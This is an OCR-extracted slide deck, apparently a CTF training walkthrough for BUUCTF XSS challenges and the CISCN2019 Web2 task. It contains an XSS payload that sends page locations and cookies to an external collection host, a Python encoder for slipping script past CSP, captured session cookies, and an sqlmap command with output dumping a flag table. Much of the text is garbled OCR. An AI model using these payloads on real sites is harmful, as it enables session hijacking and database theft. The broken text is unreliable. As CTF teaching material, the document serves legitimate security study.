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XSS Ak Al

<?php
/ k%
* Created by PhpStorm.
* User: jinzhao
2019/10/8
1:38 P
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by taking this short survey

Take Survey

XSS Ak Al

OK
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C @ ARL | view-source:0.0.0.0:31186/12.php?abc=<script>alert(1) </script>

1| <script>jalert(1l)i</script>
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BUU XSS COURSE 1

e xss.buuoj.cn xss FEEFM—TIKS, W flag,

® FLZL | xss.buuoj.cn/index.php % ® O @ . A ® e & & V @ fn

XSS Platform Fm FF: glzjin MAIRE BHEFE

AT glEmE  RME

1 2019-10-08
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http://xss.buuoj.cn

BUU XSS COURSE 1

ey, OGS,

e <img src='/aaaww' onerror="(function(){(new
Image()).src="http://xss.buuoj.cn/index.php?
do=api&id=PkXQxo&location="+escape((function
{try{return document.location.href}catch(e){return "

+ &toplocation="+escape((function(){tryireturn
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J by SOSIS,

18] | BUU #3fd BR

LSHEIAES

{try{return (window.opener && window.opener.location.href)?window.opener.location.href:"}catch(e){return "}})());}) ();"/>

AIN



BUU XSS COURSE 1

EWHNAR Request Headers

2019-10-08 location : http://web/#/vi e HTTP_REFERER : http://

15:03:25

ew/768ed7b2-a825-4b3
9-a000-d924fc4cdc7b
toplocation : http://web/
#/view/768ed7b2-a825-
4b39-a000-d924fc4cdc7
b

cookie : PHPSESSID=fb
b5b92257044217eaae78
2c2e9e9bab

opener :

username :

password :

web/backend/admin.php
HTTP_USER_AGENT : M
ozilla/5.0 (X11; Linux x86

_64) AppleWebKit/537.3

6 (KHTML, like Gecko) H
eadlessChrome/72.0.362
6.121 Safari/537.36
REMOTE_ADDR : 172.6
4.199.7




BUU XSS COURSE 1

SRl

1w B Cookie,

7183fd.node2.buuoj.cn.wetolink.com:82/#/

| ) ol L))

http://ffbOac9a-bc34-4650-a820-2ae5327183fd.node2.buuoj.cn.wetolink.com:82/#/

» .wetolink.com | UM_distinctid

~ ffb0ac9a-bc34-4650-a820-2ae5327183fd.node2.buuoj.cn.wetolink.com |
PHPSESSID

@E

fbb5b92257044217eaae782c2e9e9bab

&
ffb0ac9a-bc34-4650-a820-2ae5327183fd.node2.buuoj.cn.wetolink.com
B2

/

T HART (8]

Thu Oct 08 2020 15:04:57 GMT+0800 (A E#n/&RTE])

SameSite

hostOnly v session httpOnly



BUU XSS COURSE 1

* 15l8) /backend/admin.php

& C ® A%=2 | ffb0ac9a-bc34-4650-a820-2ae5327183fd.node2.buuoj.cn.wetolink.com:82/backend/admin.php w ® O @

flag:f1lag{171946d9-0594-40d7-8b6b-1e8dd2e8fale}




CISCN2019 £Z=1ZFEX]Web?2

<« C ©® F%2 | 03b3ca64-e302-4582-bbe6-dbbc58a328c3.node2.buuoj.cn.wetolink.com:82 * ®0e@ " « ® 0 & « vO= 20 &

£1RAfY PostgreSQL K2

threst / BIFX & / 2019-02-27

BArIE AR B FGoogleE M 1, +MPublic Trello boardsHiZHE %S

Smile / WEBZRZ / 2019-02-27

RAT X AR BEFE IR
Allex / FARXE / 2019-02-2

ZZCMSIERMERRIR(CVE-2019-8411) 247
HWABRIRR / RADH / 2019-02-2

RADTBRIRY Emotet FERHTEH
TBDChen / BlEXE 7

Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF
13mOn / SRS / 2019-02-26

B RDPRZE SET 1l LR R SRAEG + X AT S F B
201

arrow1 / PR /:

Fcms v5.7 sp2 [F & getshell
xiaohuihui1 / B2 / 2019-02-26
@ #ESafariFfTIEXHost3k N A

Pinging / BliE3XE / 2019-02-26

HRRXRERH TS
Alex / HARXE / 2019-02-26

(4

. UK $EE TR & 2 go-ethereum & Z £ H 1t
W | ZERELNE / READH / 2019-02-26

153

% HGOUEERR v6.0 BFEEIC (LHEGetShell)
8- | GoolCat / iR@#H#H / 2019-02-25




[CISCN2019 £f£Zx1EZFEX |Web2

WRIASINEE, X—HM% xss B, HE CSP,

http://www.ruanyifeng.com/blog/2016/09/
csp.html

C ® AE#Z | view-source :03b3c464-e302-4582-bbe6-dbbc58a328c3.node2.buuoj.cn.wetolink.com:82/post/... % @& O @& . V' 4 ® & &, * V 6 @ = @ @ :




CISCN2019 £ ZFE X Web?2

o A HTML Markup 33,

o https://www.w3.org/MarkUp/html-spec/html-spec_13.html

®2 v > B G G5 E(Q

in_str = "(function

keepsession=0&location=" +escghgg (function(){try{return document.location.h rg

output

MSIAIS i

for ¢ in in_str:
output += "&#" + str(ord(c))

oO~NOOULA WNBRE
I

print("<svg><script>eval&#408&#34" + output + "&#34&#41</script>")

|
aseqeiea (1



https://www.w3.org/MarkUp/html-spec/html-spec_13.html
https://www.zhaoj.in/read-6100.html
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=i (mdS ITEH AT EEENR)
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NE Rt

T
RAfENAMIENEE, BINSBHMEES. Hhs k5!

RBAE:
URL http://web/post/e32534f7a58c294614ddbc849902628c.html
substr(md5($str), 0, 6) === “f29820”:

OERS | 8630897
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CISCN2019 £ &

» I XSS

MERA

IN B AFR: test

Domain: | 25F ¥

EEOHbAE: http://xss.buuoj.cn/do/auth/7f57a3d1351fd3edc99bbecdd73bf2fd ( 1l /domain/xxx Al IR & LA )

REHMT

fiet e

2019-10-08
14:47:19

PEFRIIRLE

BEBRHAR

location : http://web/pos
t/497d626b1a4f8481dfd
52bcb8ad704d6.html
toplocation : http://web/
post/497d626b1a4f8481
dfd52bcb8ad704d6.html
cookie : PHPSESSID=6d
1fd0298c8c612920046df
59d6dec73

opener :

username :

password :

Request Headers

 HTTP_REFERER : http://

web/post/497d626b1a4f
8481dfd52bcb8ad704d
6.html
HTTP_USER_AGENT : M
ozilla/5.0 (X11; Linux x86
_64) AppleWebKit/537.3
6 (KHTML, like Gecko) H
eadlessChrome/72.0.362
6.121 Safari/537.36
REMOTE_ADDR : 172.6
4.102.7

X [Web?2
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« & Cookie

ettt ettt ettt atiiad e s
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http://659bc89f-8879-49dc-922e-823361c9eb8e.node2.buuoj.cn.wetolink.com:82/a... [ >x

» .wetolink.com | UM_distinctid

v 659bc89f-8879-49dc-922e-823361c9eb8e.node2.buuoj.cn.wetolink.com |

152
659bc89f-8879-49dc-922e-823361c9eb8e.node2.buuoj.cn.wetolink.com
iz EES

/

1 HARY 8]

Thu Oct 08 2020 14:48:35 GMT+0800 (FE#RAERTE])

SameSite

hostOnly v session ¢ httpOnly
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e 15[8) /admin.php, JEAN

® FLZL | 659bc89f-8879-49dc-922e-823361c9eb8e.node2.buuoj.cn.wetolink.com:82/admin.php?id=1
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CISCN2019 R 1ZFEX]Web?2

* | sgimap, JEFERHIZNE

* sglmap -u "http://659bc89f-8879-49dc-922e-823361¢c9eb8e.node?.buuoj.cn.wetolink.com:82/admin.php?id=4" --
cookie="PHPSESSID=6d1fd0298c8c612920046df59d6dec73" -T flag --dump --flush-session --fresh-queries --delay 0.1

ﬁwm&w::ewwijpgh,?i“yg, cuments/ agwkrzigmﬂwﬁg‘ﬂwtwm DCOY 379-49dc-922e-823361c9eb8e.node...

....80.45 -D 9002 -v

...I_love_math — -fish ...ents/dev/iis — -fish __ . ..111.67.207.84 -v

[jinzhaoRlocalhost ~/D/d/iis> sqlmap -u "http://659bc89f-8879-49dc-922e-823361c9eb8e.node2.buuoj.cn.wetolink.com:8]
2/admin.php?id=4" —-cookie="PHPSESSID=6d1fd0298c8c612920046df59d6dec73" -T flag —-dump —-flush-session —-fresh-qu
eries ——delay 1

SiHE
______ ] { oM s Fa bl o))
- -1 - [§] | a9 o |
lecalle 1 e lElellesnll Al

|-V |_| http://sqlmap.or

~[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
; d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting at 14:52:08

[14:52:08] [INFO] flushing session file

[14:52:08] [INFO] testing connection to the target URL

[14:52:09] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:52:10] [INFO] testing if the target URL content is stable

[14:52:11] [INFO] target URL content is stable

[14:52:11] [INFO] testing if GET parameter 'id' is dynamic

[14:52:12] [WARNING] GET parameter 'id' does not appear to be dynamic

[14:52:14] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

[14:52:15] [INFO] testing for SQL injection on GET parameter 'id'

[14:52:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[14:52:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[14:52:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'




CISCN2019 R 1ZFEX]Web?2

'O @ ® 1 iis— sqlmap /Users/jinzhao/Documents/dev/iis — sqlmap -u http://659bc89f-8879-49dc-922e-823361c9eb8e.node...
...|_love_math — -fish ...ents/dev/iis — -fish __, ....80.45 -D 9002 -v ...eries --delay 0.1 %:"5 ..111.67.207.84 -v uim

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-2220 UNION ALL SELECT NULL,NULL,CONCAT(@x7170787071,0x7ab84c7647697361785a43717470536a4f654F736b
75675773716d48765567504b526b61454e676T,0x71767a7071)—— JUOE

[14:54:53] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.5, OpenResty

back-end DBMS: MySQL >= 5.0.12

[14:54:53] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s
) entries

[14:54:53] [INFO] fetching current database

[14:54:53] [INFO] fetching columns for table 'flag' in database 'ciscn'

[14:54:53] [INFO] used SQL query returns 1 entries

[14:54:53] [INFO] fetching entries for table 'flag' in database 'ciscn'

[14:54:54] [INFO] used SQL query returns 1 entries

[14:54:54] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or
switch '--hex'
[14:54:54] [INFO] fetching number of entries for table 'flag' in database 'ciscn'
[14:54:54] [INFO] retrieved:

[14:54:54] [WARNING] it is very important to not stress the network connection during usage of time-based payload
}s to prevent potential disruptions

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

1

1[14:55:08] [WARNING] (case) time-based comparison requires reset of statistical model, please wait............... ‘
Pttt abod oo s (done)

‘[14:55:29] [INFO] adjusting time delay to 1 second due to good response times
flag{b3294ball
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